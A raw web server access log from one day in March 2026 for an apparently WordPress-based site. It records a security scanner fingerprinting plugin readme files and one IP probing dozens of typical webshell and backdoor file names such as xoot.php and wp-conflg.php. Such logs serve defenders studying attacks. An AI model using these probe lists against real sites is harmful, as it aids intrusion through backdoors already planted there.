"-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.60 - - [04/Mar/2026:09:06:46 +0300] "GET /wp-content/plugins/code-snippets/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.57 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/elementor/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.57 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/akismet/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.58 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/wordfence/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.57 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/jetpack/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.59 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/all-in-one-wp-migration/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.59 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/all-in-one-seo-pack/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.60 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/wp-super-cache/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.60 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/coming-soon/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.60 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/insert-headers-and-footers/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.60 - - [04/Mar/2026:09:07:41 +0300] "GET /wp-content/plugins/wordpress-database-reset/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.59 - - [04/Mar/2026:09:08:18 +0300] "GET /wp-content/plugins/wpschoolpress/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.59 - - [04/Mar/2026:09:05:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.59 - - [04/Mar/2026:09:05:57 +0300] "GET /license.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.57 - - [04/Mar/2026:09:06:21 +0300] "GET /wp-content/plugins/wp-central/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.57 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/wp-fastest-cache/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.58 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/litespeed-cache/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.60 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/essential-addons-for-elementor-lite/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.60 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/wp-optimize/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.58 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/ultimate-addons-for-gutenberg/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.59 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/mailchimp-for-wp/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.60 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/duplicator/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.58 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/sg-security/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.57 - - [04/Mar/2026:09:05:08 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.60 - - [04/Mar/2026:09:05:32 +0300] "GET /sitecore/shell/sitecore.version.xml HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.59 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/wpforms-lite/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.58 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/seo-by-rank-math/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.58 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/advanced-custom-fields/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.58 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/ewww-image-optimizer/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.59 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/duplicate-page/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 45.141.233.208 - - [04/Mar/2026:08:23:27 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 185.226.197.57 - - [04/Mar/2026:09:04:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.57 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/google-site-kit/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.58 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/better-search-replace/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.57 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/w3-total-cache/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.58 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.60 - - [04/Mar/2026:09:05:57 +0300] "GET /cf_scripts/scripts/ajax/ckeditor/ckeditor.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.59 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/duplicate-post/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.57 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/really-simple-ssl/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.57 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/updraftplus/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.59 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/redirection/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.58 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/google-analytics-for-wordpress/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.60 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/envato-elements/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.57 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/wps-hide-login/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.57 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/smart-slider-3/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.59 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/better-wp-security/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.60 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/hostinger/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.57 - - [04/Mar/2026:09:07:09 +0300] "GET /wp-content/plugins/complianz-gdpr/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.58 - - [04/Mar/2026:09:08:02 +0300] "GET /wp-content/plugins/kingcomposer/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.58 - - [04/Mar/2026:09:09:21 +0300] "GET /wp-content/plugins/iwp-client/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.58 - - [04/Mar/2026:09:09:46 +0300] "GET /wp-content/plugins/fancy-product-designer/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.57 - - [04/Mar/2026:09:09:33 +0300] "GET /wp-content/plugins/optinmonster/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.60 - - [04/Mar/2026:09:10:08 +0300] "GET /wp-content/plugins/bbpress/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.59 - - [04/Mar/2026:09:11:17 +0300] "GET /console HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.58 - - [04/Mar/2026:09:11:17 +0300] "GET /aspera/faspex/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 194.31.72.75 - - [04/Mar/2026:09:10:33 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 185.226.197.57 - - [04/Mar/2026:09:10:34 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.59 - - [04/Mar/2026:09:10:46 +0300] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.57 - - [04/Mar/2026:09:08:37 +0300] "GET /wp-content/plugins/wp-time-capsule/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.60 - - [04/Mar/2026:09:08:54 +0300] "GET /wp-content/plugins/wp-video-lightbox/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.58 - - [04/Mar/2026:09:11:10 +0300] "GET /solr/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.226.197.57 - - [04/Mar/2026:09:11:37 +0300] "GET /static/historypage.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 93.158.90.34 - - [04/Mar/2026:10:11:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 12; SAMSUNG SM-A415F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/23.0 Chrome/115.0.0.0 Mobile Safari/537.3" 44.221.89.0 - - [04/Mar/2026:10:53:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 69.171.231.114 - - [04/Mar/2026:10:55:33 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 62.60.130.210 - - [04/Mar/2026:11:43:22 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://twitter.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6.1 Safari/605.1.15" 43.138.68.113 - - [04/Mar/2026:11:23:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 44.220.61.35 - - [04/Mar/2026:11:55:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.159.90.13 - - [04/Mar/2026:13:15:05 +0300] "GET /cgi-bin/postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 203.159.90.13 - - [04/Mar/2026:13:14:35 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 43.164.195.17 - - [04/Mar/2026:13:23:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 203.159.90.13 - - [04/Mar/2026:13:14:50 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 20.151.2.242 - - [04/Mar/2026:14:11:53 +0300] "GET /moshou.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:11:57 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:11:59 +0300] "GET /Jcrop.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:12:14 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:12:17 +0300] "GET /jb33.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:13:50 +0300] "GET /xxxx.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:13:59 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:15:48 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:15:51 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:16:09 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:16:21 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:16:24 +0300] "GET /wp-admin/network/user-new.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:17:13 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:17:14 +0300] "GET /wander.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:19:32 +0300] "GET /akcc.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:19:47 +0300] "GET /aki.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:19:50 +0300] "GET /f.PhP7 HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:19:54 +0300] "GET /ff1.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:20:00 +0300] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:20:19 +0300] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:20:30 +0300] "GET /f6.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:20:46 +0300] "GET /dom.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:20:49 +0300] "GET /xoot.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:20:53 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:20:56 +0300] "GET /agg.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:21:00 +0300] "GET /fleen.php HTTP/1.1" 301 795 "-" "-" 66.249.76.202 - - [04/Mar/2026:13:47:46 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 20.151.2.242 - - [04/Mar/2026:14:14:08 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:14:31 +0300] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:15:43 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:16:31 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:16:35 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:20:25 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:20:35 +0300] "GET /opts.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:12:25 +0300] "GET /gec.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:13:18 +0300] "GET /ayk.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:17:01 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:17:05 +0300] "GET /Ov-Simple1.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:18:11 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:18:53 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:18:59 +0300] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:19:39 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:20:41 +0300] "GET /seetox.php HTTP/1.1" 301 795 "-" "-" 66.249.76.200 - - [04/Mar/2026:13:47:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.7559.132 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 20.151.2.242 - - [04/Mar/2026:14:13:02 +0300] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:17:26 +0300] "GET /add.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:17:49 +0300] "GET /torsa1.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:17:52 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:17:56 +0300] "GET /path.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:17:59 +0300] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:18:42 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:18:46 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:12:50 +0300] "GET /nc4.php HTTP/1.1" 301 795 "-" "-" 43.173.1.57 - - [04/Mar/2026:14:13:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.151.2.242 - - [04/Mar/2026:14:13:39 +0300] "GET /wp-admin/maint/bal.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:15:07 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:15:18 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:15:25 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:16:16 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:16:44 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:17:33 +0300] "GET /t00l.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:17:44 +0300] "GET /img.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:20:10 +0300] "GET /grsiuk.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:14:37 +0300] "GET /1a.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:18:36 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:12:07 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:12:33 +0300] "GET /yas.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:12:39 +0300] "GET /wp-setting.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:12:43 +0300] "GET /ww.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:12:56 +0300] "GET /w3llstore.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:13:08 +0300] "GET /tool.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:13:24 +0300] "GET /erty.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:14:53 +0300] "GET /cwclass.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:14:59 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:17:39 +0300] "GET /lp6.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:18:29 +0300] "GET /pepe.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:19:22 +0300] "GET /b.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [04/Mar/2026:14:19:25 +0300] "GET /mjq.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - 